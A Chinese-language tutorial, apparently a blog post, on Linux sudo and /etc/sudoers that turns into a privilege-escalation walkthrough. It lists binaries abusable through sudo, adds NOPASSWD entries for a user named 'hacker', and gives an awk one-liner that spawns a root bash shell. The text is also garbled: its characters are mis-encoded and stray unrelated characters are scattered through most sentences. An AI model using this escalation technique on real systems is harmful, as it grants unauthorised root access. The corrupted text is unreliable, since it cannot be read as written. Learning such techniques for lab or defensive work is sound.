關(guān)于sudo
sudo是linux系統(tǒng)管理指令首装,是允許系統(tǒng)管理員讓普通用戶執(zhí)行一些或者全部的root命令的一個(gè)工具厉膀,如halt颤殴,reboot觅廓,su等等。換句話說(shuō)通過(guò)此命令可以讓非root的用戶運(yùn)行只有root才有權(quán)限執(zhí)行的命令涵但。
是不是每一個(gè)新創(chuàng)建的用戶都可以使用sudo提升命令的權(quán)限呢杈绸?如果不是那么哪些用戶可以使用此命令呢帖蔓?要想使一個(gè)用戶具有使用sudo的能力,需要讓root用戶將其名字瞳脓、可以執(zhí)行的特定命令塑娇、按照哪種用戶或用戶組的身份執(zhí)行等信息注冊(cè)到/etc/sudoers文件中,即完成對(duì)該用戶的授權(quán)(此時(shí)該用戶稱為“sudoer”)才可以劫侧。
當(dāng)一般用戶執(zhí)行特殊權(quán)限時(shí)埋酬,在命令前加上 sudo,此時(shí)系統(tǒng)會(huì)讓你輸入密碼以確認(rèn)終端機(jī)前操作的是你本人烧栋,確認(rèn)后系統(tǒng)會(huì)將該命令的進(jìn)程以超級(jí)用戶的權(quán)限運(yùn)行写妥。
在一定的時(shí)間段內(nèi),再次執(zhí)行sudo的命令時(shí)不再詢問(wèn)密碼审姓,超出此時(shí)間段(一般為5分鐘)后需要再次輸入密碼珍特。
在Linux/Unix中,/etc/sudoers文件是sudo權(quán)限的配置文件魔吐,其中儲(chǔ)存了一些用戶或組可以以root權(quán)限使用的命令扎筒。如下圖
Sudoer文件語(yǔ)法
vim /etc/sudoers
- 給用戶賦予全部root權(quán)限
找到root權(quán)限r(nóng)oot ALL=(ALL:ALL) ALL,在下一行輸入" test ALL(ALL:ALL) ALL "酬姆,保存后退出嗜桌,這樣即表示用戶test可以使用sudo調(diào)用root權(quán)限執(zhí)行命令。即此時(shí)test用戶相當(dāng)于root了
- 給用戶賦予部分能夠運(yùn)行的命令權(quán)限
hacker用戶就能使用awk命令了
- 查看用戶能以root權(quán)限運(yùn)行的命令
sudo -l
sudo提權(quán)命令
可以利用sudo提權(quán)的命令如下
wget辞色、find骨宠、cat、apt淫僻、zip诱篷、xxd壶唤、time雳灵、taskset、git闸盔、sed悯辙、pip、ed迎吵、tmux躲撰、scp、perl击费、bash拢蛋、less、awk蔫巩、man谆棱、vi快压、env、ftp垃瞧、ed蔫劣、screen
- 添加部分命令用于測(cè)試sudo提權(quán)
vim /etc/sudoers
hacker ALL=(root) NOPASSWD: /usr/bin/awk
hacker ALL=(root) NOPASSWD: /usr/bin/vim
hacker ALL=(root) NOPASSWD: /usr/bin/man
hacker ALL=(root) NOPASSWD: /usr/bin/apache2
hacker ALL=(root) NOPASSWD: /usr/bin/less
hacker ALL=(root) NOPASSWD: /bin/more
hacker ALL=(root) NOPASSWD: /usr/bin/find
hacker ALL=(root) NOPASSWD: /usr/bin/zip
hacker ALL=(root) NOPASSWD: /usr/bin/git
假設(shè)獲取了一個(gè)普通用戶hacker的權(quán)限,接著利用sudo進(jìn)行提權(quán)
awk
1. 查看sudo -l
顯示了允許當(dāng)前用戶使用的命令个从,如下發(fā)現(xiàn)了可以以root權(quán)限執(zhí)行awk命令并且不需要密碼
2. 權(quán)限提升
執(zhí)行下面代碼直接切換到root用戶了脉幢,無(wú)需密碼
sudo awk 'BEGIN{system("/bin/bash")}'